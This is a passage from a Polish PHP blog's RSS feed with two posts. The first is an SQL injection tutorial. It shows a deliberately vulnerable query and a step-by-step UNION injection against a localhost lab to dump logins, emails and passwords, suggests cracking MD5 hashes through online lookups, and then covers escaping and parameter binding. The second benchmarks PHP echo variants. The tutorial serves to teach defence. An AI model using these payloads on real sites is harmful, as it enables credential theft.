  <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id='</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">else</span>
  <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$result</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fetch_array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;h2&gt;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/h2&gt;'</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;strong&gt;Author: '</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'author'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/strong&gt;'</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;p&gt;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'content'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;/p&gt;'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Wystarczy mała nieuwaga aby skrypt był dziurawy jak ser szwajcarski. Co więcej, dziurę taką da się bardzo łatwo wykryć — wystarczy apostrof lub cudzysłów.</p>
<pre class="console">http://localhost/hack/sql/?id=1'</pre>
<p>Naszym oczom ukaże się błąd:</p>
<pre class="console">Fatal error: Call to a member function fetch_array() on a non-object in /home/hellson/public_html/hack/sql/index.php on line 27 </pre>
<p>Jest to informacja, że użytkownik może wpływać na treść zapytania SQL. Dlaczego tak się dzieje? PHP bezmyslnie umieszcza zmienną $_GET[’id’] do zapytania SQL które teraz wygląda tak:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span><span style="color: #ff0000;">'</span></pre></div></div>

<p>Jest to niepoprawne zapytanie więc php zwraca błąd metody fetch_array(). Tym samym jest to informacja, że haker może spreparować własne zapytania, które zwrócą mu loginy i hasła. Oczywiście w sytuacji gdy nie zna on struktury bazy danych jest to troszkę utrudnione lecz wciąż możliwe. Aby uświadomić o jakie aspekty należy zadbać warto dowiedzieć się jak to robi przeciętny włamywacz.</p>
<h3>Od strony hakera</h3>
<p>Pierwszym krokiem jest sprawdzenie czy rzeczywiście możemy wpływać na zapytanie. Najlepiej jest dopisać nic nie znaczące „OR 1=1″</p>
<pre class="console">http://localhost/hack/sql/?id=1 OR 1=1</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">OR</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span></pre></div></div>

<p>Naszym oczom powinna ukazać się pełna lista artykułów zamiast tylko jednego lub jeśli na stronie moduł pobiera tylko pierwszy rekord otrzymamy inny niż jest sprecyzowany w zmiennej id(oczywiście należy wziąć pod uwagę sortowanie). Kolejnym krokiem jest wprowadzenie własnego zapytania. Najczęściej używa się UNION ponieważ jest to najprostsza technika. UNION połączy 2 zapytania tylko wtedy gdy będą one posiadać taką samą ilość kolumn. Warto więc najpierw to sprawdzić metodą prób i błędów pobierając kolejno 2 NULL-e, 3 NULL-e itd. W naszym przykładzie wystarczy sześć.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span></pre></div></div>

<p>Sprawdzmy, które pola odpowiadają poszczególnym rzeczom wyświetlanym na stronie.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tytuł'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tresc'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Autor'</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span></pre></div></div>

<p>Zauważ, że nie podaję jeszcze nazwy tabeli aby nie komplikować sobie całej operacji. W przypadku otwartych rozwiązań sprawa jest prosta ponieważ wystarczy zajrzeć w kod i odczytać nazwy tabel. Czasami skrypty wyświetlają komunikat o błędzie SQL, który zawiera zapytanie(sic!). Ewentualnym problemem mogą być prefiksy w nazwach. Metodą prób i błędów można jednak odkryć, że tabele z naszego przykładu to „articles“ oraz „users“</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL,'Tytuł','Tresc','Autor',NULL,NULL FROM users</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tytuł'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Tresc'</span><span style="color: #66cc66;">,</span><span style="color: #ff0000;">'Autor'</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users</pre></div></div>

<p>Pozostała część to już jedynie formalność. Należy pobrać odpowiednią ilość elementów z tabeli users.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT users.*,NULL,NULL FROM users</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> users<span style="color: #66cc66;">.*,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users</pre></div></div>

<p>Gotowe! Zamiast artykułów mamy loginy i hasła. Jeśli programista jest początkujący prawdopodobnie nie dodaje soli do haseł a te są kodowane za pomocą MD5. Wystarczy w google pisać „md5 database“ aby szybko znaleźć stronę, która dopasuje odpowiedni ciąg znaków do podanego hasha. Można w ten sposób spokojnie odkodować hasła przynajmniej połowy użytkowników przeciętnego portalu internetowego. Sprawa jest utrudniona, gdy tabela users zawiera np. 15 kolumn. Wtedy odgadnąć trzeba również nazwy pól.</p>
<pre class="console">http://localhost/hack/sql/?id=1 UNION SELECT NULL, users.email, users.password, users.login, NULL,NULL FROM users</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">1</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span> users<span style="color: #66cc66;">.</span>email<span style="color: #66cc66;">,</span> users<span style="color: #66cc66;">.</span>password<span style="color: #66cc66;">,</span> users<span style="color: #66cc66;">.</span>login<span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users</pre></div></div>

<p>Jeśli strona jest słabo zabezpieczona to prawdobodobnie również nazwy tabel i pól są proste to odgadnięcia. Dla dobrego hakera wszystko jest kwestią czasu. Oczywiście twórca strony może troszkę udziwniać np. umieścić wartość w cudzysłowiach jednak to też mu niewiele da ponieważ wystarczy wpisać:</p>
<pre class="console">http://localhost/hack/sql/?id=1" UNION SELECT users.*,NULL,NULL FROM users WHERE 1="1</pre>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> a<span style="color: #66cc66;">.*,</span> u<span style="color: #66cc66;">.</span>login <span style="color: #993333; font-weight: bold;">FROM</span> articles a<span style="color: #66cc66;">,</span> users u <span style="color: #993333; font-weight: bold;">WHERE</span> a<span style="color: #66cc66;">.</span>author<span style="color: #66cc66;">=</span>u<span style="color: #66cc66;">.</span>id <span style="color: #993333; font-weight: bold;">AND</span> a<span style="color: #66cc66;">.</span>id<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1&quot;</span> <span style="color: #993333; font-weight: bold;">UNION</span> <span style="color: #993333; font-weight: bold;">SELECT</span> users<span style="color: #66cc66;">.*,</span><span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span><span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">FROM</span> users <span style="color: #993333; font-weight: bold;">WHERE</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;1&quot;</span></pre></div></div>

<p>Oczywiście to nie wyczerpuje tematu i być może kiedyś rozwinę jeszcze temat dziurawych zapytań SQL.</p>
<h3>Jak się zabezpieczyć?</h3>
<p>Najprostszym ze sposobów zabezpieczania się jest użycie <a href="http://pl.php.net/manual/en/mysqli.real-escape-string.php">mysqli::real_escape_string()</a>. Aby uniemożliwić atak wystarczy aby nasz kod wyglądał tak:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT a.*, u.login FROM articles a, users u WHERE a.author=u.id AND a.id=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$mysqli</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Osobiście jednak preferuję filtrowanie wszystkich danych przychodzących wedle własnych wzorców tak aby wykluczyć np. uruchomienie zapytania z ciągiem znaków zamiast cyfr, filtracje kodu html, znaków specjalnych itp. Świetnym rozwiązaniem wprowadzonym w php5 wraz z mysqli jest bindowanie parametrów(podobnie jak to ma miejsce w QT) ale o tym napiszę innym razem.</p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/155/kilka-slow-o-sql-injection/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Optymalizacja echo()</title>
		<link>http://srodek.info/blog/103/optymalizacja-echo</link>
		<comments>http://srodek.info/blog/103/optymalizacja-echo#comments</comments>
		<pubDate>Sat, 26 Sep 2009 11:21:52 +0000</pubDate>
		<dc:creator>Michał Środek</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://srodek.info/?p=103</guid>
		<description><![CDATA[Z doświadczenia wiem, że programiści dzielą się na dwie grupy: tych co będą szukać optymalizacji na kazdym kroku oraz tych, którzy wolą dokupić dodatkową kość RAM i wyspać się zamiast pracować do późna w nocy . Ja oczywiście należę do tej pierwszej. Już samo użycie php nie jest najoptymalniejszym rozwiązaniem, lecz od czasu do czasu [...]]]></description>
			<content:encoded><![CDATA[<p>Z doświadczenia wiem, że programiści dzielą się na dwie grupy: tych co będą szukać optymalizacji na kazdym kroku oraz tych, którzy wolą dokupić dodatkową kość RAM i wyspać się zamiast pracować do późna w nocy <img src='http://srodek.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Ja oczywiście należę do tej pierwszej. Już samo użycie php nie jest najoptymalniejszym rozwiązaniem, lecz od czasu do czasu postaram się opisać w kilku słowach jak przyspieszyć swoje skrypty. Zacznijmy od echo.</p>
<p><span id="more-103"></span></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$cat</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Mruczek'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Mój kot ma na imię <span style="color: #006699; font-weight: bold;">$cat</span> i jest zawsze wesoły.&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Mój kot ma na imię '</span><span style="color: #339933;">.</span><span style="color: #000088;">$cat</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' i jest zawsze wesoły'</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Sposób działania jest prosty. Podczas użycia cudzysłowów ciąg znaków jest przeszukiwany w pod kątem posiadania jakichś zmiennych. Tutaj one istnieją więc skrypt podstawia pod <var>$cat</var> ciąg znaków <em class="string">Mruczek</em>. Następnie wyrzuca na wyjście gotowy napis. W przypadku użycia apostrofów jest troszkę inaczej. PHP nie wyszukuje żadnych zmiennych ponieważ ma jasno określone miejsce w którym te zmienne się znajdują, co sprawia, że całość działa czasami nawet kilkukrotnie szybciej.</p>
<p>Czy dałoby się to jeszcze bardziej przyspieszyć? Oczywiście <img src='http://srodek.info/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Wystarczy posłużyć się operatorem przecinka zamiast kropki.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Mój kot ma na imię '</span><span style="color: #339933;">,</span><span style="color: #000088;">$cat</span><span style="color: #339933;">,</span><span style="color: #0000ff;">' i jest zawsze wesoły'</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Większość programistów o tym nie wie ale w przypadku operatora kropki, PHP najpierw tworzy wynikowy ciąg znaków co powoduje dodatkowe obciążenie pamięci. Przy dwóch kropkach tworzone są dwie nowe zmienne String(lub dwie tablice znaków — nie będę się zagłębiał w kod wewnętrzny PHP). Jeśli użyjemy przecinków, PHP po prostu będzie każdy z elementów interpretował jak kolejne parametry(choć pamiętajmy — echo nie jest funkcją!) i wyrzucał je bezpośrednio na wyjście. Pytanie: czy opłaca się buforować wyjście za pomocą kropki(np. w przypadku długiego czasu dostępu do wyjścia)? To już pozostawiam wam do przemyśleń. Poniżej testy prędkości przy użyciu Apache Benchmark:</p>
<p><strong>Wersja z cudzysłowami:</strong><br />
<code><br />
Time taken for tests:   100.027 seconds<br />
Complete requests:      32772<br />
Failed requests:        0<br />
Write errors:           0<br />
Total transferred:      8206540669 bytes<br />
HTML transferred:       8201253107 bytes<br />
Requests per second:    327.63 [#/sec] (mean)<br />
Time per request:       305.219 [ms] (mean)<br />
</code></p>
<p><strong>Wersja z apostrofami:</strong><br />
<code><br />
Time taken for tests:   100.018 seconds<br />
Complete requests:      42646<br />
Failed requests:        0<br />
Write errors:           0<br />
Total transferred:      10669918695 bytes<br />
HTML transferred:       10663047537 bytes<br />
Requests per second:    426.38 [#/sec] (mean)<br />
Time per request:       234.531 [ms] (mean)<br />
</code></p>
<p><strong>Wersja z przecinkiem:</strong><br />
<code><br />
Time taken for tests:   100.029 seconds<br />
Complete requests:      44111<br />
Failed requests:        0<br />
Write errors:           0<br />
Total transferred:      11039258426 bytes<br />
HTML transferred:       11032150759 bytes<br />
Requests per second:    440.98 [#/sec] (mean)<br />
Time per request:       226.766 [ms] (mean)<br />
</code></p>
<p>Nie będę już kombinował w gnuplocie aby stworzyć ładne wykresy, ale na oko widać, że wersja z przecinkiem sprawuje się najlepiej. Oczywiście wyniki należy przyjąć z lekkim przymrużeniem oka ponieważ Apache Benchmark najlepszym narzędziem nie jest. Warto również uruchomić dobre oprogramowanie do monitorowania pamięci RAM, bo to tam najwięcej zachodzi zmian — szczególnie przy wyświetlaniu dużych partii tekstu.</p>
]]></content:encoded>
			<wfw:commentRss>http://srodek.info/blog/103/optymalizacja-echo/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>
